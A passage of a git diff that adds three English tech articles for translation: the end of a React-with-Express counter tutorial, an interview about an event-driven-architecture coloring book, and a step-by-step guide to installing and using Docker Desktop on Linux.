axios.post(`${baseURL}/`); +export default { +    get, +    increment +} +``` + +This process creates a JavaScript file that interacts with the API you created in my previous article. + +### Set up the proxy + +Next, you must set up a proxy middleware by creating a new file in the `src` directory. + +``` +$ touch src/setupProxy.js +``` + +Configure the proxy with this code in `setupProxy.js` : + +``` +const { createProxyMiddleware } = require('http-proxy-middleware'); +module.exports = function(app) { +  app.use( +    '/api', +    createProxyMiddleware({ +      target: 'http://localhost:5000', +      changeOrigin: true, +    }) +  ); +}; +``` + +In this code, the `app.use` function specifies the service to use as `/api` when connecting to the existing API project. However, nothing defines `api` in the code. This is where a proxy comes in. With a proxy, you can define the `api` function on the proxy level to interact with your Express API. This middleware registers requests between both applications because the UI and API use the same host with different ports. They require a proxy to transfer internal traffic. + +### JavaScript imports + +In your base `src` directory, you see that the original template created an `App.js`, and you must add `main.js` (in the `services` directory) to your imports in the `App.js` file. You also need to import React on the very first line, as it is external to the project: + +``` +import React from 'react' +import main from './services/main'; +``` + +### Add the rendering function + +Now that you have your imports, you must add a render function. In the **App()** function of `App.js`, add the first section of definitions for **react** and **count** before the **return** section. This section gets the **count** from the API and puts it on the screen. In the **return** function, a button provides the ability to increment the count. + +``` +function App() { +const [count, setCount] = React.useState(0); +React.useEffect(()=>{ +  async function fetchCount(){ +    const newCount = (await main.get()).data.count; +    setCount(newCount); +  } +  fetchCount(); +}, [setCount]); +return (   +   
+     
+       

+          {count} +       

+        +     
+   
+  ); +} +``` + +To start and test the app, run `npm run start`. You should see the output below. Before running the application, confirm your API is running from the Express app by running node `./src/index.js`. + +``` +$ npm run start +> count-ui@0.1.0 start /Users/cherrybomb/count-ui +> react-scripts start + +[HPM] Proxy created: /  -> http://localhost:5000 +(node:71729) [DEP_WEBPACK_DEV_SERVER_ON_AFTER_SETUP_MIDDLEWARE] DeprecationWarning: 'onAfterSetupMiddleware' option is deprecated. Please use the 'setupMiddlewares' option. +(Use `node --trace-deprecation ...` to show where the warning was created) +(node:71729) [DEP_WEBPACK_DEV_SERVER_ON_BEFORE_SETUP_MIDDLEWARE] DeprecationWarning: 'onBeforeSetupMiddleware' option is deprecated. Please use the 'setupMiddlewares' option. +Starting the development server... +``` + +Once everything is running, open your browser to `localhost:5000` to see the front end has a nice, admittedly minimal, page with a button: + +![Counter at zero][4] + +Image by: + +(Jessica Cherry, CC BY-SA 4.0) + +What happens when you press the button? (Or, in my case, press the button several times.) + +![Counter at four][5] + +Image by: + +(Jessica Cherry, CC BY-SA 4.0) + +The counter goes up! + +Congratulations, you now have a React app that uses your new API. + +### Web apps and APIs + +This exercise is a great way to learn how to make a back end and a front end work together. It's noteworthy to say that if you're using two hosts, you don't need the proxy section of this article. Either way, JavaScript and React are a quick, templated way to get a front end up and running with minimal steps. Hopefully, you enjoyed this walk-through. Tell us your thoughts on learning how to code in JavaScript. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/code-first-react-app + +作者:[Jessica Cherry][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-window-focus.png +[2]: https://opensource.com/article/22/7/javascript-api-express +[3]: https://opensource.com/article/22/7/javascript-api-express +[4]: https://opensource.com/sites/default/files/2022-07/counter0.png +[5]: https://opensource.com/sites/default/files/2022-07/counter4.png diff --git a/sources/tech/20220719 Event-driven architecture explained in a coloring book.md b/sources/tech/20220719 Event-driven architecture explained in a coloring book.md new file mode 100644 index 0000000000..022ed0b490 --- /dev/null +++ b/sources/tech/20220719 Event-driven architecture explained in a coloring book.md @@ -0,0 +1,100 @@ +[#]: subject: "Event-driven architecture explained in a coloring book" +[#]: via: "https://opensource.com/article/22/7/event-driven-architecture-coloring-book" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Event-driven architecture explained in a coloring book +====== +Event-driven architecture is no small topic. A coloring book is a perfect way to explain its complexity in a friendly manner. Download this coloring book about event-driven architecture + +"Explain it to me like I'm five." + +When you want someone to get to the point as efficiently and as clearly as possible, that's what you say. Following that logic, you might be compelled to ponder the most powerful tool the average, everyday 5-year old wields: coloring books. What better way than a coloring book to transform a droll slideshow presentation into a fun and educational journey? + +That's what artists Máirín Duffy and Madeline Peck thought, anyway, and it has turned out to be accurate. In the past, Máirín has helped produce [five open source coloring books][2] to help explain advanced topics including SELinux, Containers, Ansible, and more. It's a fun and easy way to learn about emerging technology, and you can either color your lessons yourself or hand it over to a resident specialist (an actual 5-year old) for project completion. + +The latest coloring book in the series is all about [event driven architecture (EDA)][3]. As with all the previous coloring books, this one's not only free to download, but it's also open source. You can download the sources and assemble it yourself, or learn from the files so you can build your own about topics important to you. + +Event-driven architecture is no small topic, so I sat down with Máirín and Madeline to discover how and why they took on the challenge. + +**Q**: Presumably, you don't spend your days developing KNative serverless applications and pipelines. How do you learn so much about such a complex topic? + +**Máirín Duffy**: I wrote the script for the coloring book. I have a lot of experience with OS-level technology, and I have experience working in teams that deploy applications as a service, but I do not have as much experience working with running and managing Kubernetes directly. And the concept of "serverless" was one I only knew of in passing. + +Our colleague Kamesh Sampath gave a presentation he called [Knative and the Three Dwarves][4]. + +That gave us the idea to relate our story to Snow White. In fact, we use material from Kamesh's talk to serve as the basic scope of the technologies and technical scenarios we wanted to talk about. +All of the coloring books use an analogy of some form to help readers new to the technology relate to it using concepts they are likely to understand already or be familiar with. + +For the EDA coloring book, we used the familiar fairy tale of Snow White and the Seven Dwarves and the analogy of running a bakery to explain the concepts of what it means to be serverless, and what the specific Kubernetes serverless components [Tekton][5], Serve Knative, and Event Knative are, and what they do. + +In preparing to write a script for the book, I watched Kamesh's presentation, wrote out the questions I had, and met with Kamesh. He is a very gifted teacher and was able to answer all of my questions and help me feel comfortable about the subject matter. I formed an informal technical review board for the book. We have access to a lot of amazingly smart technology experts through Fedora and Red Hat, and they were excited about having a book like this available, so we got quite a few volunteers. + +I bounced ideas off of them. I spent a lot of time pestering Langdon White, and we narrowed down on the concept of Snow White running a bakery and the scenarios of demonstrating auto-scaling (scaling the production of different baked goodies up and down based on the holidays), self-healing based on events (ordering new eggs when the supply is low), shutting down an app that isn't being used and spinning it up on demand (the cupcake decorator scenario), rolling back issues in production (the poisoned apple detector.) + +I wrote up an initial draft, and then the technical review board reviewed it and provided a ton of suggestions and tweaks. We did another round, and I finalized the script so that Madeline could start illustrating. + +**Madeline Peck**: That's where I come in. I was lucky: I was presented with the finished version of the script, so the coloring book taught me what I needed to know. The great technical writers who helped give feedback on the script and visuals correlating were a great help with this admittedly complex topic. + +**Máirín Duffy**: And as Madeline completed storyboards, and then the initial draft of the fully illustrated book, we had a couple more technical board reviews to make sure it still all made sense. + +**Q**: That's a lot more work than I realized. So how long does it take to create a coloring book? + +**Madeline Peck**: This one took a lot longer because it was the first coloring book I had worked on. Mo has been churning them out for some time now, and has a great grasp on all the open source programs like [Inkscape][6] and [Scribus][7] that we use, as well as the connections and knowledge for topics that can be expanded upon in a simple but informative manner. This book started when I was an intern, and it's taught me a lot about each step in the process, as well as all the ways open source matters for projects like these. + +**Q**: What tools do you use when you draw? + +**Madeline Peck**: When I draw digitally, I use variations of different ink pens. But on paper, traditionally I use a color erase red pencil for sketching, a Pigma Micron 01 pen for inking (because it's water proof), and occasionally I add color with watercolors from Mijello. + +**Q**: I don't work with physical materials often, and I don't have a kid to do the coloring in for me, but I'm enjoying using this as a digital coloring book. I've imported pages into Krita and it's given me the opportunity to experiment with different brushes and color mixing techniques. + +**Madeline Peck**: I think Krita is a great coloring application! There's a great variety of brushes and tools. I used Krita for all the primary sketching for the frames in the coloring book. If people don't know, when you import PNGs into programs like Krita, you can set the layer mode with the image to multiply instead of normal. Then you can add a layer below it, and it's just like coloring in below the lines without the white background. + +**Q**: Is it harder to draw things without considering color and shading? Does it feel incomplete to you? + +**Madeline Peck**: I don't think so! There's a lot of gorgeous art in the world where artists only rely on line work. The weight of the lines, the way they interact — it's just another technique. It doesn't feel incomplete because I know there's going to be lots of people who are going to share pages of the book colored in their own way, which is really exciting! + +**Q:** Who's this really meant for? Can people actually learn about going serverless from a coloring book? + +**Máirín Duffy**: Another good question. We started this whole "coloring books to explain technology" thing when Dan Walsh came into my cube at Red Hat Westford almost 10 years ago and asked if I could draw him some illustrations for his [SELinux dogfood analogy][8]. He had come up with this analogy having had to explain how SELinux concepts worked repeatedly. He also found it to be an effective analogy in many presentations. + +That coloring book was super basic compared to the EDA coloring book, but the bones are the same — making complex technology concepts less intimidating and more approachable with simple analogies and narrative. We have gotten overwhelming feedback over a long period of time that these coloring books have been very helpful in teaching about the technology. I've had customers tell me that they've been able to use specific coloring books to help explain the technology to their managers, and that they are a really non-intimidating way to get a good initial understanding. + +**Madeline Peck**: I agree. The coloring books are meant for a variety of readers, with a wide range of prior knowledge on the subject. They can be used for people who have friends and family who work on serverless applications, for those working on the actual teams, or people who work adjacent to those developers. + +**Máirín Duffy**: They also make a great handout on a conference expo floor, at talks, and even virtually as PDFs. Even if EDA isn't your thing, you can pick it up and your kids can have fun coloring the characters. I really do hope people can read this book and better understand what serverless is and that it could spark an interest for them to look more in depth into serverless and EDA processes. + +### Get your copy + +I love that there are free and open source coloring books that appeal to both kids needing something fun to color in, and the older crowd looking for clear and simple explanations of complex tech topics. + +A lot of creativity goes into making these coloring books, but as with most open source endeavours, it inspires yet more creativity once it's in the hands of users. + +Grab your copy of the Event-driven Architecture coloring book today! Download the PDF directly [here][9]. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/event-driven-architecture-coloring-book + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/EDUCATION_crayons.png +[2]: https://github.com/FOSS-Coloring-Books +[3]: https://github.com/FOSS-Coloring-Books/eda +[4]: https://www.youtube.com/watch?v=w-BBOxu8tqs +[5]: https://opensource.com/article/21/11/cicd-pipeline-kubernetes-tekton +[6]: https://opensource.com/article/21/12/linux-draw-inkscape +[7]: https://opensource.com/article/21/12/desktop-publishing-scribus +[8]: https://opensource.com/business/13/11/selinux-policy-guide +[9]: https://raw.githubusercontent.com/FOSS-Coloring-Books/eda/master/EDA%20and%20the%20Three%20Dwarves%20web%20version.pdf diff --git a/sources/tech/20220720 A Beginners Manual To Docker Desktop For Linux.md b/sources/tech/20220720 A Beginners Manual To Docker Desktop For Linux.md new file mode 100644 index 0000000000..1b4cad73ad --- /dev/null +++ b/sources/tech/20220720 A Beginners Manual To Docker Desktop For Linux.md @@ -0,0 +1,770 @@ +[#]: subject: "A Beginners Manual To Docker Desktop For Linux" +[#]: via: "https://ostechnix.com/docker-desktop-for-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A Beginners Manual To Docker Desktop For Linux +====== +How to use Docker Desktop to create and manage containers in Linux + +This comprehensive guide explains **what is Docker Desktop** and how to **install Docker Desktop in Linux** and how to **use Docker Desktop to create and manage containers** in Linux. + +### Introduction + +The use of virtualization technologies is rapidly increasing every year. There are two main types of virtualization technologies. They are **Container-based** virtualization and **Hypervisor-based** virtualization. + +Of these two types, Container-based virtualization is able to provide a more lightweight and efficient virtual environment. + +**[Docker][1]** is a most popular Container-based, OS-level virtualization platform that allows you to build, ship, and run any app, anywhere. + +Before Docker came along, the development process consists of various tools and it was bit difficult to manage and maintain. Thanks to Docker, the development task is a breeze now. + +Initially the Docker was available as a command-line program only. It is now also available as GUI version called **"Docker Desktop"**(i.e. Docker GUI). + +### What Is Docker Desktop? + +Docker Desktop is a graphical program used to create, run and manage Docker containers. Using Docker Desktop, we can setup a complete Docker development environment easily and quickly, with couple mouse clicks. + +Docker Desktop GUI provides a few important advantages. Docker Desktop for Linux runs a virtual machine. You might wonder why is that. Here are a few reasons. + +Docker Desktop for Linux runs a VM to provide **consistent experience** across different OSs. Since it runs a VM, it is possible to **use new Kernel features**. + +Another advantage is **enhanced security**. Some users may intentionally push malicious images in public repositories and trick the users to pull such images. Since Docker Desktop runs a VM, the malware is restricted to the VM and also the malware has no way to access the host. + +Docker Desktop VM uses `virtiofs`, a shared filesystem that allows the containers to access a shared directory in the host system. The developers of Docker Desktop claims that near **native file system performance** can be achieved with virtiofs when you allocate right resources to the VM. + +Docker Desktop consist of the following components: + +* Docker Engine, +* Docker CLI Client, +* Docker Compose, +* Latest version of [Kubernetes][2], +* Credential helper to keep Docker login credentials safe. + +Docker Desktop is a cross-platform application that works under Linux, macOS and Windows. + +### Docker Desktop Features + +The following are the important key features of Docker Desktop. + +* Setup complete Docker development environment, +* Containerize and share any app on any cloud platforms, in different languages and frameworks, +* Built-in latest Kubernetes version, +* Automatic updates, +* Toggle between Linux and Windows dev environments to build apps on Windows platforms, +* Fast performance, +* Supports volume mounting for persistent data storage and sharing code, +* Cross-platform. + +### Docker Desktop Requirements + +To install and configure Docker Desktop, your Linux system must meet the following minimum requirements. + +1. 64 bit Linux. +2. The Kernel version should be 3.10 or above. +3. An user account with `sudo` privileges. +4. VT (virtualization technology) support enabled on your system BIOS. [Read: [How To Find If A CPU Supports Virtualization Technology (VT)][3]] +5. Your system should be connected to Internet. + +#### Check Linux kernel Version And Architecture + +To view the Kernel and architecture details, run the following command from the Terminal: + +``` +$ uname -a +``` + +**Sample Output:** + +``` +Linux ubuntu2204 5.15.0-41-generic #44-Ubuntu SMP Wed Jun 22 14:20:53 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux +``` + +As you see in the above output, my Ubuntu system's kernel version is **5.15.0-41-generic**and my Ubuntu system's architecture is **64 bit** (**x86_64 x86_64 x86_64 GNU/Linux**). Check the bold letters in the above result. + +Well, the Kernel version is higher than the minimum requirement, and the arch is 64 bit. So, we can install and use Docker desktop without any problems. + +#### Enable KVM Virtualization Support (VT-X) + +If your host system supports VT-X, the kvm module will be automatically loaded. + +If it is not loaded for any reason, you can manually load the KVM kernel module using the following commands: + +On Intel CPU: + +``` +$ modprobe kvm_intel +``` + +On AMD CPU: + +``` +$ modprobe kvm_amd +``` + +To check if KVM modules are enabled, run: + +``` +$ kvm-okINFO: /dev/kvm existsKVM acceleration can be used +``` + +You can also do the same using `lsmod` and `grep` commands like below: + +``` +$ lsmod | grep kvm +kvm_intel 364544 0 +kvm 1003520 1 kvm_intel +``` + +Finally, we must do one last thing. We should add our user to `kvm` group in order to access the `/dev/kvm` device. To do so, run: + +``` +$ sudo usermod -aG kvm $USER +``` + +Reboot your system to take effect the changes. + +Let us check the current ownership of /dev/kvm using command: + +``` +$ ls -al /dev/kvm +crw-rw----+ 1 root kvm 10, 232 Jul 14 13:31 /dev/kvm +``` + +That's it. We've done all prerequisites for Docker desktop installation. Let us go ahead and install Docker Desktop in Ubuntu Linux. + +### Install Docker Desktop In Linux + +Docker Desktop is currently packaged for DEB and RPM-based systems. Here, we will see how to install Docker Desktop in Debian 11, Fedora 36 and Ubuntu 22.04 LTS desktop editions. + +#### 1. Install Docker Desktop In Debian 11 + +First of all, update your Debian system. + +##### 1.1. Update Debian + +Open your Terminal window and run the following commands: + +``` +$ sudo apt update +``` + +``` +$ sudo apt full-upgrade +``` + +##### 1.2. Add Docker Repository + +Install the necessary certificates to allow apt package manager to use a repository over HTTPS. + +To do so, run: + +``` +$ sudo apt install apt-transport-https ca-certificates curl software-properties-common gnupg lsb-release +``` + +Next, add Docker's official GPG key by running the following commands: + +``` +$ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg +``` + +Add the Docker official repository: + +``` +$ echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null +``` + +Update Debian sources list using command: + +``` +$ sudo apt update +``` + +##### 1.3. Install Docker Desktop For Linux + +Download latest Docker Desktop DEB package from the official **[release][4]** page. + +``` +$ wget https://desktop.docker.com/linux/main/amd64/docker-desktop-4.10.1-amd64.deb +``` + +And then install Docker Desktop on Debian using command: + +``` +$ sudo apt install ./docker-desktop-4.10.1-amd64.deb +``` + +##### 1.4. Start Docker Desktop Service + +Run the following commands to allow Docker Desktop service to start automatically at every system reboot. + +``` +$ systemctl --user enable docker-desktop +``` + +``` +$ systemctl --user start docker-desktop +``` + +The first command will enable the docker-desktop service to start automatically on system reboot. The second command will start the service if it is not started already. + +##### 1.5. Check Docker Version + +Docker Desktop bundle installs both Docker Engine and Compose. Let us check its version docker engine version. + +To check docker version, run: + +``` +$ docker --version +Docker version 20.10.17, build 100c701 +``` + +To display the detailed output, run: + +``` +$ docker version +``` + +**Sample output:** + +``` +Client: Docker Engine - Community + Cloud integration: v1.0.24 + Version: 20.10.17 + API version: 1.41 + Go version: go1.17.11 + Git commit: 100c701 + Built: Mon Jun 6 23:02:46 2022 + OS/Arch: linux/amd64 + Context: desktop-linux + Experimental: true + +Server: Docker Desktop 4.10.1 (82475) + Engine: + Version: 20.10.17 + API version: 1.41 (minimum version 1.12) + Go version: go1.17.11 + Git commit: a89b842 + Built: Mon Jun 6 23:01:23 2022 + OS/Arch: linux/amd64 + Experimental: false + containerd: + Version: 1.6.6 + GitCommit: 10c12954828e7c7c9b6e0ea9b0c02b01407d3ae1 + runc: + Version: 1.1.2 + GitCommit: v1.1.2-0-ga916309 + docker-init: + Version: 0.19.0 + GitCommit: de40ad0 +``` + +Check Docker compose version: + +``` +$ docker compose version +Docker Compose version v2.6.1 +``` + +![Check Docker Engine And Docker Compose Version][5] + +Please note that you will get the details of Docker Desktop only after starting it. + +#### 2. Install Docker Desktop In Fedora 36 + +Make sure you are running an up-to-date Fedora 36 version. + +##### 2.1. Update Fedora + +To update Fedora, open your Terminal window and run the following command: + +``` +$ sudo dnf --refresh update +``` + +##### 2.2. Add Docker Repository + +Install the `dnf-plugins-core` package (which provides the commands to manage your DNF repositories) and set up the repository. + +``` +$ sudo dnf -y install dnf-plugins-core +``` + +``` +$ sudo dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo +``` + +##### 2.3. Install Docker Desktop For Linux + +Download the latest Docker Desktop RPM package from the official **[release][6]** page. + +``` +$ wget https://desktop.docker.com/linux/main/amd64/docker-desktop-4.10.1-x86_64.rpm +``` + +And then install Docker Desktop on Fedora using command: + +``` +$ sudo dnf install ./docker-desktop-4.10.1-x86_64.rpm +``` + +##### 2.4. Start Docker Desktop Service + +Allow Docker Desktop service to start automatically at every system reboot by running the following commands: + +``` +$ systemctl --user enable docker-desktop +``` + +``` +$ systemctl --user start docker-desktop +``` + +The first command will enable the docker-desktop service to start automatically on system reboot. The second command will start the service if it is not started already. + +##### 2.5. Check Docker Version + +To check docker version, run: + +``` +$ docker --version +``` + +To display the detailed output, run: + +``` +$ docker version +``` + +Please note that you will get the details of Docker Desktop only after starting it. + +Check Docker compose version: + +``` +$ docker compose version +``` + +#### 3. Install Docker Desktop In Ubuntu 22.04 LTS + +The following steps are tested in Ubuntu 22.04 LTS desktop edition. + +##### 3.1. Update Ubuntu + +Open your Terminal, and run the following commands one by one: + +``` +$ sudo apt update +``` + +``` +$ sudo apt full-upgrade +``` + +##### 3.2. Add Docker Repository + +Install the necessary certificates and to allow apt package manager to use a repository over HTTPS using command: + +``` +$ sudo apt install apt-transport-https ca-certificates curl software-properties-common gnupg lsb-release +``` + +Next, add Docker's official GPG key by running the following commands: + +``` +$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg +``` + +Add the Docker official repository: + +``` +$ echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null +``` + +Update Ubuntu sources list using command: + +``` +$ sudo apt update +``` + +##### 3.3. Install Docker Desktop + +Download latest Docker Desktop DEB package from the official **[release][7]** page. + +``` +$ wget https://desktop.docker.com/linux/main/amd64/docker-desktop-4.10.1-amd64.deb +``` + +Run the following command to install Docker Desktop: + +``` +$ sudo apt install ./docker-desktop-4.10.1-amd64.deb +``` + +At the end of the installation, you will receive an error message like below. + +``` +[...] +N: Download is performed unsandboxed as root as file '/home/ostechnix/docker-desktop-4.10.1-amd64.deb' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permission denied) +``` + +You can safely ignore this error and continue the subsequent steps. + +##### 3.4. Start Docker Desktop Service + +Run the following commands to allow Docker Desktop service to start automatically at every system reboot. + +``` +$ systemctl --user enable docker-desktop +``` + +``` +$ systemctl --user start docker-desktop +``` + +The first command will enable the docker-desktop service to start automatically on system reboot. The second command will start the service if it is not started already. + +##### 5.5. Check Docker Version + +To check docker version, run: + +``` +$ docker --version +``` + +If you want to display detailed output, run: + +``` +$ docker version +``` + +Please note that you will get the details of Docker Desktop only after starting it. + +Check Docker compose version: + +``` +$ docker compose version +``` + +### Getting Started With Docker Desktop + +Launch Docker Desktop either from Dash or Menu. + +When you launch the Docker Desktop for the first time, you will prompted to accept the Docker desktop service agreement. + +![Accept Docker Desktop Service Agreement][8] + +Give Docker a few seconds to start all necessary services. After a few seconds, you will be pleased with the Docker Desktop interface. + +This is how Docker Desktop main dashboard looks like in my Ubuntu 22.04 LTS desktop. + +![Docker Desktop Dashboard][9] + +You will also see the Docker menu icon in the task bar. Just click on the Docker menu icon to display the drop-down menu. + +![Docker Menu][10] + +From the Docker menu, you can + +* View the running state of Docker Desktop, +* Open the Docker dashboard, +* Sign-in to Docker Hub, +* Access Docker Desktop settings, +* Check for Docker Desktop updates, +* Troubleshoot Docker Desktop, +* View Docker Desktop basic information, +* Display Docker Desktop documentation, +* Display Docker Desktop quick start guide, +* Access Docker Hub, +* Pause, Restart and Quit Docker Desktop. + +#### Understanding Docker Desktop Interface + +Docker Desktop UI is very simple and easy to understand. + +##### Top Pane + +On the **top pane**, you will see the following tabs: + +* Troubleshooting Docker Desktop, +* Docker Desktop Settings, +* Sign-in option to Docker hub. + +![Docker Desktop Top Pane][11] + +**Troubleshooting Section:** + +In this section, you will have the options to, + +* Restart Docker Desktop, +* Get help with Docker Desktop, +* Reset Kubernetes cluster, +* Clean/purge data, +* Reset Docker Desktop to factory defaults. + +![Troubleshooting Section][12] + +**Settings Section:** + +The Settings section is divided into a few sub-sections. + +![Docker Desktop Settings][13] + +Under each section, you can adjust or set various important settings as listed below. + +* General - In this section, you can enable or disable the following options by checking the respective check boxes. * Start Docker Desktop at user log in. * Send Docker Desktop usage statistics. * Show weekly tips related to Docker Desktop usage. * Open Docker Desktop Dashboard at startup. * Enable Docker Compose v1/V2 compatibility mode. +* Resources - In this section, you can configure the following options. * Set number of CPU cores, RAM size, SWAP size, Disk image size and Disk image location etc. * Add shared folders. By default, /home/user directory is allowed to mount into the Docker containers. * Configure proxy settings. * Configure Docker network. Docker uses IPv4 for internal network connection between contianers. The default subnet for Docker containers is 192.168.65.0/24. +* Docker Engine - In this section, you can configure the Docker daemon. +* Experimental Features - Sign-up for experimental features and developer preview program. +* Kubernetes - Docker Desktop includes a standalone Kubernetes. In this section, you can enable/disable Kubernetes cluster. +* Software Updates - Configure software updates. +* Extensions - In this section, you can do the following: * Enable/disable Docker extensions, * Allow only extensions distributed through Docker marketplace, * Show Docker Desktop Extensions system containers when using Docker commands. + +**Sign-in Section:** + +This section allows you to sign to the Docker hub. Before signing in to the Docker hub, you must initialize credential store. The details on initializing credential store are found [here][14]. + +##### Left Pane + +On the left pane, you will see the following tabs: + +* Containers - Shows the running containers. +* Images - Shows the list of Dockers images on your local disk. +* Volumes - Shows List of Docker volumes for persistent storage. +* Dev Environments - Create development environments instantly and share code with your team. It is good for team collaboration. This feature is still in beta. +* Add Extensions - Install third-party extensions to extend the functionality of Docker Desktop. + +![Docker Desktop Left Pane][15] + +##### Bottom Pane + +The bottom pane shows the details of Docker engine status(running or stopped), version, RAM and CPU usage. And also whether you're logged into the Docker Hub. + +#### Run A Sample Container + +We haven't downloaded any Docker images yet. Let us download a docker image and create a container based on the downloaded image. + +Open your Terminal and run the following command: + +``` +$ docker run -d -p 80:80 docker/getting-started +``` + +This will pull the container named "getting-started" from the official docker repository. + +Here, + +* -d - Run container in detached mode(in the background). +* -p 80:80 - Map port 80 of the host to port 80 in container. +* getting-started - name of the docker image. + +Now go back to the Docker dashboard. Under the Containers section (on left pane), you will see the new container is running. + +![Run Container In Docker Desktop][16] + +From here, you can stop, restart, stop, and delete container. No need to run commands in Terminal! Everything can be done via the Docker Desktop dashboard. + +#### View Docker Images + +You can view all Docker images that you've downloaded under the **Images** section. + +![View Docker Images][17] + +The three horizontal dots button shows the additional menu options to inspect, pull, push to hub and remove the Docker image. To display or view the buttons, either select the Image or hover over the Image. + +![View Menu Options For Docker Images][18] + +#### Create A New Docker Container + +To create a new Docker Container from an existing Docker image, go to the Images section and simply hover the mouse over any listed Docker images under the Images section, and click the "Run" button. + +You can fill up the optional values such as the name of the Container, the host port that you want to map to container port, the Volume and Container path, and enter the environment variables etc. + +![Create New Docker Container][19] + +Once the Container is created, you can access it under Containers section. + +#### Delete Containers + +Go to the Containers section. Hover over or select the image you want to delete and click the "Delete" button. + +![Delete Docker Container][20] + +#### Delete Docker Images + +Make sure the images you're about to delete is not used by any running container. + +Go to the Images section and select or hover over the Docker Image, and click the three horizontal dots and choose "Remove". + +![Delete Docker Image][21] + +### Login To Docker Hub + +Docker Hub is a centralized place where you can build, share and run secure applications. Before signing in to Docker Hub, you must initialize credentials store. + +Docker Desktop uses **pass** to store credentials in gpg2-encrypted files. + +Generate a gpg key using command: + +``` +$ gpg --generate-key +``` + +Enter the Real name, Email id and a Passphrase to protect the gpg key. Once the key is generated, you will see an output like the following: + +``` +[...] +public and secret key created and signed. + +pub rsa3072 2022-07-15 [SC] [expires: 2024-07-14] + F2TF3R7GG3961252CA9BB628824DDDD883F652786 +uid Senthilkumar +sub rsa3072 2022-07-15 [E] [expires: 2024-07-14] +``` + +Make a note of this pub key - **F2TF3R7GG3961252CA9BB628824DDDD883F652786** + +Now initialize `pass` by running the following command: + +``` +$ pass init F2TF3R7GG3961252CA9BB628824DDDD883F652786 +mkdir: created directory '/home/ostechnix/.password-store/' +Password store initialized for F2TF3R7GG3961252CA9BB628824DDDD883F652786 +``` + +Once the pass is initialized, click the Sign in button on the Docker Desktop to login to your Docker hub account. A new browser window will open. Enter your Docker username and password and click Continue. + +![Login To Docker Hub][22] + +Click Open Link to allow Docker Hub site to open Docker Desktop. + +![Allow Docker Hub Site To Open Docker Desktop Application][23] + +That's it. You're now logged into your Docker Hub account. + +![Logged-in To Docker Hub][24] + +### Install Extensions + +The extensions are used to extend the functionality of Docker Desktop. The extensions are nothing but some third-party tools such as Portainer, Tailscale etc. + +To install an extension, click "Add Extensions" button on left pane. You will be redirected to the Extensions marketplace where you can find the list of available extensions. Simply click "Install" button next to the respective extension. + +![Install Docker Extension][25] + +You will be prompted to enter the passphrase of the GPG key that you generated when signing in to the Docker Hub in the previous step. Just enter it and wait a few seconds to complete the installation. + +Once the extension is installed, you will see under the "Add Extensions" section. + +![Portainer Extension In Docker Desktop][26] + +Click "Open" to setup Portainer. By default, the local Docker environment which Portainer is running in is connected. If you want to connect to different environment(E.g. Azure or Kubernetes), choose "Add Environments" button. I go with the default local Docker environment. + +![Select Local Environment][27] + +That's it. Now you can start using Portainer to manage your Docker Images, containers, volumes and perform other container management operations via Portainer UI. + +![Portainer GUI][28] + +### Upgrade Docker Desktop + +When a new Docker Desktop version is available, the Docker UI will display a notification. + +To upgrade Docker Desktop to latest available version, simply download the new version and install it like below. + +``` +$ sudo apt-get install ./docker-desktop--.deb +``` + +On RPM-based systems, first remove the existing version and then download the new version and install it. + +``` +$ sudo dnf remove docker-desktop + +$ sudo dnf install ./docker-desktop--.rpm +``` + +### Uninstall Docker Desktop + +To remove Docker Desktop on RPM-based systems, run: + +``` +$ sudo dnf remove docker-desktop +``` + +On DEB-based systems: + +``` +$ sudo apt remove docker-desktop +``` + +``` +$ sudo apt purge docker-desktop +``` + +Finally, remove the unwanted configuration and data files, docker-cli symlink and purge the remaining systemd service files. + +``` +$ rm -r $HOME/.docker/desktop +``` + +``` +$ sudo rm /usr/local/bin/com.docker.cli +``` + +### Conclusion + +In this Docker Desktop manual, we discussed what is Docker Desktop, its features and how to install Docker Desktop in Debian, Fedora and Ubuntu operating systems. We also looked at how to use Docker Desktop to create, run and manage Docker containers. + +Even though Docker CLI is easy to use, some users, especially the newbies, might prefer Docker GUI to manage the Docker containers. If you're one of them, Docker Desktop is a perfect choice. + +**Resource:** + +* [Docker Desktop Official Documentation][29] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/docker-desktop-for-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ 